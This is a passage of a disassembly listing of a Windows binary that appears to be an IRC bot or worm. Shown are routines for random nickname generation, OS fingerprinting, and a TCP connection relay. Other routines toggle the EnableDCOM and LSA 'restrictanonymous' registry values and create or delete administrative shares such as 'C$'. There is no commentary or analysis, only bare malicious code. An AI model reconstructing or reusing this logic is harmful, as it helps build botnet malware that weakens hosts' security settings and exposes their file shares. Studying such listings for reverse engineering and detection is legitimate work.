		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C1A0
		jl	short loc_4140FB

loc_414121:				; CODE XREF: sub_4140C8+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4140C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_414126	proc near		; CODE XREF: sub_40CE55+3D4Ep

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_42104C
		push	eax
		call	sub_415539
		pop	ecx
		call	sub_415543
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42C1A0
		test	esi, esi
		jle	short loc_414169

loc_414153:				; CODE XREF: sub_414126+41j
		call	sub_415543
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_414153

loc_414169:				; CODE XREF: sub_414126+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_414126	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	dword_42104C
		push	eax
		call	sub_415539
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4375AC
		push	eax
		push	esi
		call	dword_42113C
		movsx	eax, byte_4375AC
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_4141AF:				; CODE XREF: .nsp0:004141BAj
		cmp	eax, ecx
		jnz	short loc_4141B6
		mov	[ebp-4], edx

loc_4141B6:				; CODE XREF: .nsp0:004141B1j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_4141AF
		push	61h
		pop	ecx

loc_4141BF:				; CODE XREF: .nsp0:004141CAj
		cmp	eax, ecx
		jnz	short loc_4141C6
		mov	[ebp-4], edx

loc_4141C6:				; CODE XREF: .nsp0:004141C1j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_4141BF
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42C1A0, esi
		jle	short loc_41420B

loc_4141E5:				; CODE XREF: .nsp0:00414209j
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4375A4
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C1A0
		jl	short loc_4141E5

loc_41420B:				; CODE XREF: .nsp0:004141E3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_42104C
		push	eax
		call	sub_415539
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_421144
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4375B0
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C1A0, esi
		jle	short loc_414280

loc_41425A:				; CODE XREF: .nsp0:0041427Ej
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4375A4
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C1A0
		jl	short loc_41425A

loc_414280:				; CODE XREF: .nsp0:00414258j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_438FDC
		mov	dword ptr [ebp-94h], 94h
		call	dword_42110C
		call	dword_42104C
		push	eax
		call	sub_415539
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_41430A
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4142EA
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_4142DA
		mov	esi, offset a95	; "95"

loc_4142DA:				; CODE XREF: .nsp0:004142D3j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_414346
		mov	esi, offset aNt	; "NT"
		jmp	short loc_414346
; ---------------------------------------------------------------------------

loc_4142EA:				; CODE XREF: .nsp0:004142CAj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_4142FA
		mov	esi, offset a98	; "98"
		jmp	short loc_414346
; ---------------------------------------------------------------------------

loc_4142FA:				; CODE XREF: .nsp0:004142F1j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_414341
		mov	esi, offset aMe	; "ME"
		jmp	short loc_414346
; ---------------------------------------------------------------------------

loc_41430A:				; CODE XREF: .nsp0:004142C1j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_414341
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_414323
		mov	esi, offset a2k	; "2K"
		jmp	short loc_414346
; ---------------------------------------------------------------------------

loc_414323:				; CODE XREF: .nsp0:0041431Aj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_414333
		mov	esi, offset aXp	; "XP"
		jmp	short loc_414346
; ---------------------------------------------------------------------------

loc_414333:				; CODE XREF: .nsp0:0041432Aj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_4375BC
		jz	short loc_414346

loc_414341:				; CODE XREF: .nsp0:00414301j
					; .nsp0:00414311j
		mov	esi, offset dword_42B7D0

loc_414346:				; CODE XREF: .nsp0:004142E1j
					; .nsp0:004142E8j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4375B4
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C1A0, esi
		jle	short loc_41438A

loc_414364:				; CODE XREF: .nsp0:00414388j
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4375A4
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C1A0
		jl	short loc_414364

loc_41438A:				; CODE XREF: .nsp0:00414362j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414390	proc near		; CODE XREF: sub_414433+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_42104C
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_4143DF
		call	dword_43A3C4
		test	eax, eax
		mov	eax, offset dword_4375C8
		jnz	short loc_4143C8
		mov	eax, offset byte_438FDC

loc_4143C8:				; CODE XREF: sub_414390+31j
		push	eax
		push	esi
		push	offset dword_4375C0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_415A6A
		add	esp, 14h
		jmp	short loc_4143FF
; ---------------------------------------------------------------------------

loc_4143DF:				; CODE XREF: sub_414390+22j
		call	dword_43A3C4
		test	eax, eax
		mov	eax, offset dword_4375C8
		jnz	short loc_4143F3
		mov	eax, offset byte_438FDC

loc_4143F3:				; CODE XREF: sub_414390+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_4143FF:				; CODE XREF: sub_414390+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415CF0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_41442E
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_416F10
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		add	esp, 18h

loc_41442E:				; CODE XREF: sub_414390+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_414390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414433	proc near		; CODE XREF: sub_40CB75+7Fp
					; sub_40CCDD+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_43754C

loc_41443F:				; CODE XREF: sub_414433+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_41445A
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_415910
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_414464
; ---------------------------------------------------------------------------

loc_41445A:				; CODE XREF: sub_414433+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_414464:				; CODE XREF: sub_414433+25j
		test	eax, eax
		jnz	short loc_414476
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_4375B0
		jl	short loc_41443F
		jmp	short loc_414484
; ---------------------------------------------------------------------------

loc_414476:				; CODE XREF: sub_414433+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_437550[eax*4]
		pop	ecx

loc_414484:				; CODE XREF: sub_414433+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_414497
		push	[ebp+arg_0]
		call	sub_414390
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_414497:				; CODE XREF: sub_414433+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_414433	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41449C	proc near		; DATA XREF: sub_414569+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43A3B8
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43A438
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41455A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43A360
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43F554[ecx], esi
		jz	short loc_41455A
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43A444
		push	eax
		mov	edi, offset dword_469284
		push	offset unk_4375CC
		push	edi
		call	sub_4154E7
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_412D4C
		push	edi
		call	sub_40B16D
		add	esp, 28h

loc_41455A:				; CODE XREF: sub_41449C+5Dj
					; sub_41449C+7Ej
		push	esi
		call	dword_43A450
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_41449C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_414569	proc near		; DATA XREF: sub_40CE55+34B1o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_421060
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi

loc_414597:				; CODE XREF: sub_414569+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_437608
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43F348
		push	eax
		call	sub_416D40
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_41449C
		push	edi
		push	edi
		call	dword_42108C
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_414603

loc_4145F8:				; CODE XREF: sub_414569+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_414603
		push	32h
		call	esi
		jmp	short loc_4145F8
; ---------------------------------------------------------------------------

loc_414603:				; CODE XREF: sub_414569+8Dj
					; sub_414569+92j
		push	[ebp+var_4]
		call	dword_42106C
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43A2EC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43A3B4
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		jmp	loc_414597
sub_414569	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41465A	proc near		; DATA XREF: sub_40CE55+59A9o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_4146A1
		call	sub_4146BA
		jmp	short loc_4146A6
; ---------------------------------------------------------------------------

loc_4146A1:				; CODE XREF: sub_41465A+3Ej
		call	sub_4149DE

loc_4146A6:				; CODE XREF: sub_41465A+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_4152AF
		pop	ecx
		push	0
		call	dword_421048
sub_41465A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146BA	proc near		; CODE XREF: sub_41465A+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43A488, edi
		jnz	loc_4147EC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43A428
		test	eax, eax
		jnz	short loc_414745
		mov	ax, word_4379F0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43A3DC
		test	eax, eax
		jz	short loc_414727
		push	offset unk_4379AC
		jmp	short loc_41472C
; ---------------------------------------------------------------------------

loc_414727:				; CODE XREF: sub_4146BA+64j
		push	offset dword_43797C

loc_41472C:				; CODE XREF: sub_4146BA+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A394
		jmp	short loc_414758
; ---------------------------------------------------------------------------

loc_414745:				; CODE XREF: sub_4146BA+36j
		lea	eax, [ebp+var_214]
		push	offset unk_437938
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_414758:				; CODE XREF: sub_4146BA+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_414777
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414777:				; CODE XREF: sub_4146BA+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43A428
		test	eax, eax
		jnz	short loc_4147E5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43A3DC
		test	eax, eax
		jz	short loc_4147C7
		push	offset unk_4378D4
		jmp	short loc_4147CC
; ---------------------------------------------------------------------------

loc_4147C7:				; CODE XREF: sub_4146BA+104j
		push	offset unk_43788C

loc_4147CC:				; CODE XREF: sub_4146BA+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A394
		jmp	short loc_4147FF
; ---------------------------------------------------------------------------

loc_4147E5:				; CODE XREF: sub_4146BA+E2j
		push	offset unk_43783C
		jmp	short loc_4147F1
; ---------------------------------------------------------------------------

loc_4147EC:				; CODE XREF: sub_4146BA+13j
		push	offset unk_4377F8

loc_4147F1:				; CODE XREF: sub_4146BA+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_4147FF:				; CODE XREF: sub_4146BA+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41481E
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_41481E:				; CODE XREF: sub_4146BA+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		cmp	dword_43A4B0, edi
		pop	ecx
		jnz	loc_414999
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_414841:				; CODE XREF: sub_4146BA+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43A304
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4148DE
		cmp	eax, 0EAh
		jz	short loc_4148DE
		mov	esi, offset off_437648

loc_414872:				; CODE XREF: sub_4146BA+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_41339D
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_414889
		push	offset unk_4377C0
		jmp	short loc_41488E
; ---------------------------------------------------------------------------

loc_414889:				; CODE XREF: sub_4146BA+1C6j
		push	offset unk_437780

loc_41488E:				; CODE XREF: sub_4146BA+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_4148C1
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_4148C1:				; CODE XREF: sub_4146BA+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_437668
		jl	short loc_414872
		jmp	loc_414976
; ---------------------------------------------------------------------------

loc_4148DE:				; CODE XREF: sub_4146BA+1AAj
					; sub_4146BA+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41496D

loc_4148ED:				; CODE XREF: sub_4146BA+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_4179DC
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_414962
		push	edi
		call	sub_41328A
		push	eax
		push	0
		call	sub_41339D
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41491C
		push	offset unk_437748
		jmp	short loc_414921
; ---------------------------------------------------------------------------

loc_41491C:				; CODE XREF: sub_4146BA+259j
		push	offset unk_437708

loc_414921:				; CODE XREF: sub_4146BA+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414955
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414955:				; CODE XREF: sub_4146BA+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		pop	ecx

loc_414962:				; CODE XREF: sub_4146BA+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4148ED
		xor	edi, edi

loc_41496D:				; CODE XREF: sub_4146BA+22Dj
		push	[ebp+var_8]
		call	dword_43A448

loc_414976:				; CODE XREF: sub_4146BA+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_414841
		lea	eax, [ebp+var_214]
		push	offset unk_4376CC
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_4149AC
; ---------------------------------------------------------------------------

loc_414999:				; CODE XREF: sub_4146BA+177j
		lea	eax, [ebp+var_214]
		push	offset unk_437688
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_4149AC:				; CODE XREF: sub_4146BA+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_4149CA
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_4149CA:				; CODE XREF: sub_4146BA+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4146BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149DE	proc near		; CODE XREF: sub_41465A:loc_4146A1p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43A488, ebx
		push	esi
		jnz	loc_414B0C
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43A428
		test	eax, eax
		jnz	short loc_414A69
		mov	ax, word_437BF8
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43A3DC
		test	eax, eax
		jz	short loc_414A4B
		push	offset unk_437BC0
		jmp	short loc_414A50
; ---------------------------------------------------------------------------

loc_414A4B:				; CODE XREF: sub_4149DE+64j
		push	offset dword_437B90

loc_414A50:				; CODE XREF: sub_4149DE+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A394
		jmp	short loc_414A7C
; ---------------------------------------------------------------------------

loc_414A69:				; CODE XREF: sub_4149DE+36j
		lea	eax, [ebp+var_220]
		push	offset unk_437938
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_414A7C:				; CODE XREF: sub_4149DE+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414A9B
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414A9B:				; CODE XREF: sub_4149DE+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43A428
		test	eax, eax
		jnz	short loc_414B05
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43A3DC
		test	eax, eax
		jz	short loc_414AE7
		push	offset unk_437B40
		jmp	short loc_414AEC
; ---------------------------------------------------------------------------

loc_414AE7:				; CODE XREF: sub_4149DE+100j
		push	offset unk_437AF8

loc_414AEC:				; CODE XREF: sub_4149DE+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A394
		jmp	short loc_414B1F
; ---------------------------------------------------------------------------

loc_414B05:				; CODE XREF: sub_4149DE+E2j
		push	offset unk_437AA8
		jmp	short loc_414B11
; ---------------------------------------------------------------------------

loc_414B0C:				; CODE XREF: sub_4149DE+13j
		push	offset unk_4377F8

loc_414B11:				; CODE XREF: sub_4149DE+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_414B1F:				; CODE XREF: sub_4149DE+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414B3E
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414B3E:				; CODE XREF: sub_4149DE+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		cmp	dword_43A4B0, ebx
		pop	ecx
		jnz	loc_414CB0
		push	edi
		mov	esi, offset off_437648
		mov	edi, 200h

loc_414B62:				; CODE XREF: sub_4149DE+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_4132F1
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_414B7D
		push	offset unk_437A74
		jmp	short loc_414B82
; ---------------------------------------------------------------------------

loc_414B7D:				; CODE XREF: sub_4149DE+196j
		push	offset unk_437A38

loc_414B82:				; CODE XREF: sub_4149DE+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414BB1
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_414BB1:				; CODE XREF: sub_4149DE+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_437658
		jl	short loc_414B62
		call	dword_421148
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_414C98

loc_414BDC:				; CODE XREF: sub_4149DE+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_414C8D
		cmp	bl, 41h
		jz	loc_414C8D
		movsx	esi, bl
		push	esi
		push	offset aC_3	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_415A6A
		push	esi
		push	offset aC_2	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_415A6A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43A418
		cmp	eax, 3
		jnz	short loc_414C8D
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_4132F1
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_414C4B
		push	offset unk_437A74
		jmp	short loc_414C50
; ---------------------------------------------------------------------------

